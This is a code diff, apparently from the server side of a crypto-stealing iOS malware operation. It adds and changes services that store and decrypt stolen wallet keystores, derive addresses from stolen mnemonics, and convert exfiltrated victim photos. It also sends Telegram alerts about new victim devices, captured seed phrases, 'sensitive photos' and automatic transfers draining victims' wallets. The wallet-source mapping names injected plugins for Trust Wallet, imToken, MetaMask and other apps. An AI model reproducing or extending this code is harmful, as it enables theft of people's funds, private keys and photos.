if ($kdf === 'scrypt') {
$n = (int) ($params['n'] ?? 0);
$r = (int) ($params['r'] ?? 0);
$p = (int) ($params['p'] ?? 0);
if ($n < 2 || $r < 1 || $p < 1) {
return null;
}
return self::scrypt($password, $salt, $n, $r, $p, $dklen);
}
if ($kdf === 'pbkdf2') {
$c = (int) ($params['c'] ?? 0);
$prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256'));
if ($c < 1 || ! str_contains($prf, 'sha256')) {
return null;
}
return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true);
}
return null;
}
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
if ($n >= 256) {
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
if ($fast !== null) {
return $fast;
}
}
try {
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
} catch (\Throwable) {
return null;
}
}
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
$python = trim((string) shell_exec('command -v python3'));
if ($python === '') {
return null;
}
$code = <<<'PY'
from Crypto.Protocol.KDF import scrypt
import sys
pw = bytes.fromhex(sys.argv[1])
salt = bytes.fromhex(sys.argv[2])
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
PY;
$cmd = [
$python,
'-c',
$code,
bin2hex($password),
bin2hex($salt),
(string) $n,
(string) $r,
(string) $p,
(string) $dklen,
];
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = @proc_open($cmd, $spec, $pipes);
if (! is_resource($proc)) {
return null;
}
fclose($pipes[0]);
$out = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
$codeStatus = proc_close($proc);
if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) {
return null;
}
return $out;
}
private static function keccak256(string $data): string
{
return hex2bin(Keccak::hash($data, 256)) ?: '';
}
private static function fromHex(mixed $value): ?string
{
if (! is_string($value) || $value === '') {
return null;
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+7
View File
@@ -477,8 +477,15 @@ class IngestService
return;
}
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
if ($source === '' && is_array($result)) {
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
+25 -23
View File
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist only chains that have a positive balance.
* query balances, and persist the addresses even when the balance is zero.
*/
class MnemonicWalletDiscovery
{
@@ -26,9 +26,9 @@ class MnemonicWalletDiscovery
) {}
/**
* @return int Number of address rows created or updated with positive balance
* @return int Number of address rows created or updated
*/
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -70,9 +70,15 @@ class MnemonicWalletDiscovery
): bool {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
$coins = $this->fetchCoins($chain, $address);
if (! $this->hasPositiveBalance($coins)) {
return false;
try {
$coins = $this->fetchCoins($chain, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
}
$row = WalletAddress::query()->firstOrNew([
@@ -95,6 +101,19 @@ class MnemonicWalletDiscovery
return true;
}
/**
* @return array<string, string>
*/
private function emptyCoins(string $chain): array
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
default => [],
};
}
/**
* @return array<string, string>
*/
@@ -131,21 +150,4 @@ class MnemonicWalletDiscovery
return '0';
}
}
/**
* @param array<string, string> $coins
*/
private function hasPositiveBalance(array $coins): bool
{
foreach ($coins as $value) {
if (! is_numeric($value)) {
continue;
}
if (bccomp((string) $value, '0', 18) > 0) {
return true;
}
}
return false;
}
}
+234
View File
@@ -0,0 +1,234 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class PhotoPreview
{
public const CACHE_DIR = 'c2/photo-previews';
/**
* Serve a stored photo. HEIC/HEIF is converted to JPEG at display time;
* the ingested original is never rewritten.
*
* @return array{bytes: string, mime: string, converted: bool}
*/
public function payload(string $absPath, string $deviceKey, string $sha256): array
{
$mime = @mime_content_type($absPath) ?: 'application/octet-stream';
$raw = (string) file_get_contents($absPath);
if ($raw === '' || ! $this->isHeic($absPath, $mime, $raw)) {
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$cacheRel = $this->cachePath($deviceKey, $sha256);
$disk = Storage::disk('local');
if ($disk->exists($cacheRel)) {
$cached = (string) $disk->get($cacheRel);
if ($this->isJpeg($cached)) {
return [
'bytes' => $cached,
'mime' => 'image/jpeg',
'converted' => true,
];
}
}
$jpeg = $this->convertToJpeg($absPath);
if ($jpeg === null) {
Log::warning('heic preview convert failed', [
'path' => $absPath,
'sha256' => $sha256,
]);
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$disk->put($cacheRel, $jpeg);
return [
'bytes' => $jpeg,
'mime' => 'image/jpeg',
'converted' => true,
];
}
public function forgetForDevice(string $deviceKey): void
{
$dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey);
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
public function headLooksHeic(string $head): bool
{
if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') {
return false;
}
$brands = substr($head, 8);
foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) {
if (str_contains($brands, $brand)) {
return true;
}
}
return false;
}
private function isHeic(string $absPath, string $mime, string $raw): bool
{
$mime = strtolower($mime);
if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) {
return true;
}
$ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION));
if (in_array($ext, ['heic', 'heif'], true)) {
return true;
}
return $this->headLooksHeic(substr($raw, 0, 32));
}
private function isJpeg(string $bytes): bool
{
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
}
private function convertToJpeg(string $absPath): ?string
{
$src = null;
$dst = null;
try {
$srcBase = tempnam(sys_get_temp_dir(), 'heic_src_');
$dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_');
if ($srcBase === false || $dstBase === false) {
return null;
}
@unlink($srcBase);
@unlink($dstBase);
$src = $srcBase.'.heic';
$dst = $dstBase.'.jpg';
if (! @copy($absPath, $src)) {
return null;
}
foreach ($this->convertCommands($src, $dst) as $cmd) {
$result = Process::timeout(45)->run($cmd);
if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) {
continue;
}
$bytes = (string) file_get_contents($dst);
if ($this->isJpeg($bytes)) {
return $bytes;
}
}
return null;
} finally {
if (is_string($src) && is_file($src)) {
@unlink($src);
}
if (is_string($dst) && is_file($dst)) {
@unlink($dst);
}
}
}
/**
* @return list<list<string>>
*/
private function convertCommands(string $src, string $dst): array
{
$cmds = [];
if (is_executable('/usr/bin/sips')) {
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
}
foreach (['heif-convert', 'magick'] as $bin) {
$path = $this->resolveBinary($bin);
if ($path === null) {
continue;
}
$cmds[] = $bin === 'magick'
? [$path, $src, '-quality', '85', $dst]
: [$path, $src, $dst];
}
return $cmds;
}
private function resolveBinary(string $name): ?string
{
$candidates = match ($name) {
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
default => [$name],
};
foreach ($candidates as $bin) {
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
if (is_executable($bin)) {
return $bin;
}
continue;
}
$found = $this->which($bin);
if ($found !== null) {
return $found;
}
}
return null;
}
private function which(string $name): ?string
{
$path = getenv('PATH');
if (! is_string($path) || $path === '') {
return null;
}
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
if (is_executable($candidate)) {
return $candidate;
}
}
return null;
}
private function cachePath(string $deviceKey, string $sha256): string
{
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
if ($sha === '') {
$sha = 'unknown';
}
return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg';
}
private function safeKey(string $key): string
{
$key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? '';
return $key === '' ? '_unknown' : $key;
}
}
+35 -35
View File
@@ -185,7 +185,7 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>New Device</b>',
'📱 <b>新设备</b>',
...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
@@ -214,7 +214,7 @@ class TelegramNotifier
}
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
...$this->deviceHeader($deviceId),
];
@@ -227,12 +227,12 @@ class TelegramNotifier
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '⛓ <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
if ($source !== '') {
$lines[] = '🏷 <b>Source</b>: '.$this->e($source);
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines), $deviceId);
@@ -249,29 +249,29 @@ class TelegramNotifier
}
$this->send(implode("\n", [
'👜 <b>Installed Wallets</b>',
'👜 <b>已安装钱包</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'🔐 <b>New Mnemonic</b>',
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>',
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
@@ -284,14 +284,14 @@ class TelegramNotifier
?string $balance = null,
): void {
$lines = [
'✅ <b>Balance Inbound</b>',
'✅ <b>余额入账</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
'⛓ <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -311,23 +311,23 @@ class TelegramNotifier
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
'⛓ <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -345,19 +345,19 @@ class TelegramNotifier
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId),
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -368,8 +368,8 @@ class TelegramNotifier
$channelId = $this->contextForDevice($deviceId)['channel_id'];
return [
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
];
}
+131
View File
@@ -0,0 +1,131 @@
<?php
namespace App\Support;
/**
* RFC 7914 scrypt (PBKDF2-HMAC-SHA256 + ROMix / Salsa20/8).
*/
final class Scrypt
{
public static function hash(string $password, string $salt, int $n, int $r, int $p, int $dklen): string
{
if ($n < 2 || ($n & ($n - 1)) !== 0) {
throw new \InvalidArgumentException('scrypt N must be a power of 2');
}
if ($r < 1 || $p < 1 || $dklen < 1) {
throw new \InvalidArgumentException('invalid scrypt parameters');
}
$blockSize = 128 * $r;
$B = hash_pbkdf2('sha256', $password, $salt, 1, $p * $blockSize, true);
$v = str_repeat("\0", $blockSize * $n);
$out = '';
for ($i = 0; $i < $p; $i++) {
$block = substr($B, $i * $blockSize, $blockSize);
$out .= self::romix($block, $n, $r, $v);
}
return hash_pbkdf2('sha256', $password, $out, 1, $dklen, true);
}
private static function romix(string $block, int $n, int $r, string &$v): string
{
$blockSize = 128 * $r;
$x = $block;
for ($i = 0; $i < $n; $i++) {
$v = substr_replace($v, $x, $i * $blockSize, $blockSize);
$x = self::blockMix($x, $r);
}
for ($i = 0; $i < $n; $i++) {
$j = self::integerify($x, $r) % $n;
$x = self::xorBytes($x, substr($v, $j * $blockSize, $blockSize));
$x = self::blockMix($x, $r);
}
return $x;
}
private static function blockMix(string $b, int $r): string
{
$x = substr($b, (2 * $r - 1) * 64, 64);
$y = '';
$y2 = '';
for ($i = 0; $i < 2 * $r; $i++) {
$x = self::xorBytes($x, substr($b, $i * 64, 64));
$x = self::salsa208($x);
if (($i & 1) === 0) {
$y .= $x;
} else {
$y2 .= $x;
}
}
return $y.$y2;
}
private static function integerify(string $b, int $r): int
{
$off = (2 * $r - 1) * 64;
$n = unpack('V2', substr($b, $off, 8));
return (int) ($n[1] | ($n[2] << 32));
}
private static function xorBytes(string $a, string $b): string
{
return $a ^ $b;
}
private static function salsa208(string $input): string
{
$x = array_values(unpack('V16', $input));
$z = $x;
for ($i = 0; $i < 8; $i += 2) {
$z[4] ^= self::rotl(($z[0] + $z[12]) & 0xFFFFFFFF, 7);
$z[8] ^= self::rotl(($z[4] + $z[0]) & 0xFFFFFFFF, 9);
$z[12] ^= self::rotl(($z[8] + $z[4]) & 0xFFFFFFFF, 13);
$z[0] ^= self::rotl(($z[12] + $z[8]) & 0xFFFFFFFF, 18);
$z[9] ^= self::rotl(($z[5] + $z[1]) & 0xFFFFFFFF, 7);
$z[13] ^= self::rotl(($z[9] + $z[5]) & 0xFFFFFFFF, 9);
$z[1] ^= self::rotl(($z[13] + $z[9]) & 0xFFFFFFFF, 13);
$z[5] ^= self::rotl(($z[1] + $z[13]) & 0xFFFFFFFF, 18);
$z[14] ^= self::rotl(($z[10] + $z[6]) & 0xFFFFFFFF, 7);
$z[2] ^= self::rotl(($z[14] + $z[10]) & 0xFFFFFFFF, 9);
$z[6] ^= self::rotl(($z[2] + $z[14]) & 0xFFFFFFFF, 13);
$z[10] ^= self::rotl(($z[6] + $z[2]) & 0xFFFFFFFF, 18);
$z[3] ^= self::rotl(($z[15] + $z[11]) & 0xFFFFFFFF, 7);
$z[7] ^= self::rotl(($z[3] + $z[15]) & 0xFFFFFFFF, 9);
$z[11] ^= self::rotl(($z[7] + $z[3]) & 0xFFFFFFFF, 13);
$z[15] ^= self::rotl(($z[11] + $z[7]) & 0xFFFFFFFF, 18);
$z[1] ^= self::rotl(($z[0] + $z[3]) & 0xFFFFFFFF, 7);
$z[2] ^= self::rotl(($z[1] + $z[0]) & 0xFFFFFFFF, 9);
$z[3] ^= self::rotl(($z[2] + $z[1]) & 0xFFFFFFFF, 13);
$z[0] ^= self::rotl(($z[3] + $z[2]) & 0xFFFFFFFF, 18);
$z[6] ^= self::rotl(($z[5] + $z[4]) & 0xFFFFFFFF, 7);
$z[7] ^= self::rotl(($z[6] + $z[5]) & 0xFFFFFFFF, 9);
$z[4] ^= self::rotl(($z[7] + $z[6]) & 0xFFFFFFFF, 13);
$z[5] ^= self::rotl(($z[4] + $z[7]) & 0xFFFFFFFF, 18);
$z[11] ^= self::rotl(($z[10] + $z[9]) & 0xFFFFFFFF, 7);
$z[8] ^= self::rotl(($z[11] + $z[10]) & 0xFFFFFFFF, 9);
$z[9] ^= self::rotl(($z[8] + $z[11]) & 0xFFFFFFFF, 13);
$z[10] ^= self::rotl(($z[9] + $z[8]) & 0xFFFFFFFF, 18);
$z[12] ^= self::rotl(($z[15] + $z[14]) & 0xFFFFFFFF, 7);
$z[13] ^= self::rotl(($z[12] + $z[15]) & 0xFFFFFFFF, 9);
$z[14] ^= self::rotl(($z[13] + $z[12]) & 0xFFFFFFFF, 13);
$z[15] ^= self::rotl(($z[14] + $z[13]) & 0xFFFFFFFF, 18);
}
$packed = '';
for ($i = 0; $i < 16; $i++) {
$packed .= pack('V', ($z[$i] + $x[$i]) & 0xFFFFFFFF);
}
return $packed;
}
private static function rotl(int $a, int $b): int
{
$a &= 0xFFFFFFFF;
return (($a << $b) | ($a >> (32 - $b))) & 0xFFFFFFFF;
}
}
+31
View File
@@ -25,6 +25,14 @@ final class UserAgentParser
[$os, $osVersion] = self::parseOs($ua);
[$browser, $browserVersion] = self::parseBrowser($ua);
// iOS 26+ Safari still reports "iPhone OS 18_7" for compatibility.
// When Version/ is 26+ and the OS token is 18.7, use Version/ for both fields.
$compatVersion = self::ios26CompatVersion($ua);
if ($compatVersion !== null && self::isIos187CompatToken($os, $osVersion)) {
$osVersion = $compatVersion;
$browserVersion = $compatVersion;
}
return [
'os' => $os,
'os_version' => $osVersion,
@@ -33,6 +41,29 @@ final class UserAgentParser
];
}
private static function isIos187CompatToken(string $os, string $osVersion): bool
{
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
return false;
}
return $osVersion === '18.7' || str_starts_with($osVersion, '18.7.');
}
private static function ios26CompatVersion(string $ua): ?string
{
if (! preg_match('/Version\/(\d+(?:\.\d+){0,2})/i', $ua, $m)) {
return null;
}
$major = (int) explode('.', $m[1])[0];
if ($major < 26) {
return null;
}
return $m[1];
}
/**
* @return array{0: string, 1: string}
*/
+98
View File
@@ -78,6 +78,37 @@ final class WalletSource
'com.global.wallet.ios' => 'Global Wallet',
];
/**
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
*
* @var array<string, string>
*/
private const DS_WALLET_KEYS = [
'trustwallet' => 'Trust Wallet',
'trust_wallet' => 'Trust Wallet',
'trust' => 'Trust Wallet',
'imtoken' => 'imToken',
'im.token' => 'imToken',
'tokenpocket' => 'TokenPocket',
'token_pocket' => 'TokenPocket',
'phantom' => 'Phantom',
'uniswap' => 'Uniswap',
'coinbase' => 'Coinbase Wallet',
'bitget' => 'BitKeep',
'bitkeep' => 'BitKeep',
'metamask' => 'MetaMask',
'okx' => 'OKX',
'tronlink' => 'TronLink',
'coin98' => 'Coin98',
'solflare' => 'Solflare',
'exodus' => 'Exodus',
'tonkeeper' => 'Tonkeeper',
'mytonwallet' => 'MyTonWallet',
'tonhub' => 'Tonhub',
'bitpie' => 'Bitpie',
'telegram' => 'Telegram',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
@@ -94,6 +125,73 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Keystore source: known wallet name, or empty when unrecognized.
*/
public static function fromKeystoreHint(mixed $hint): string
{
if (! is_string($hint) || trim($hint) === '') {
return '';
}
$raw = trim($hint);
$key = strtolower($raw);
if (isset(self::TAGS[$key])) {
return self::TAGS[$key];
}
if (isset(self::DS_WALLET_KEYS[$key])) {
return self::DS_WALLET_KEYS[$key];
}
foreach (self::knownLabels() as $label) {
if (strcasecmp($label, $raw) === 0) {
return $label;
}
}
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
return 'Trust Wallet';
}
if (str_contains($key, 'bitpie')) {
return 'Bitpie';
}
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
return 'imToken';
}
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
return 'TokenPocket';
}
if (str_contains($key, 'metamask')) {
return 'MetaMask';
}
return '';
}
/**
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
*/
public static function tagForLabel(string $label): string
{
$label = trim($label);
foreach (self::TAGS as $tag => $name) {
if (strcasecmp($name, $label) === 0) {
return $tag;
}
}
return '';
}
/**
* @return list<string>
*/
private static function knownLabels(): array
{
return array_values(array_unique(array_merge(
array_values(self::TAGS),
array_values(self::DS_WALLET_KEYS),
array_values(self::BUNDLE_LABELS),
)));
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/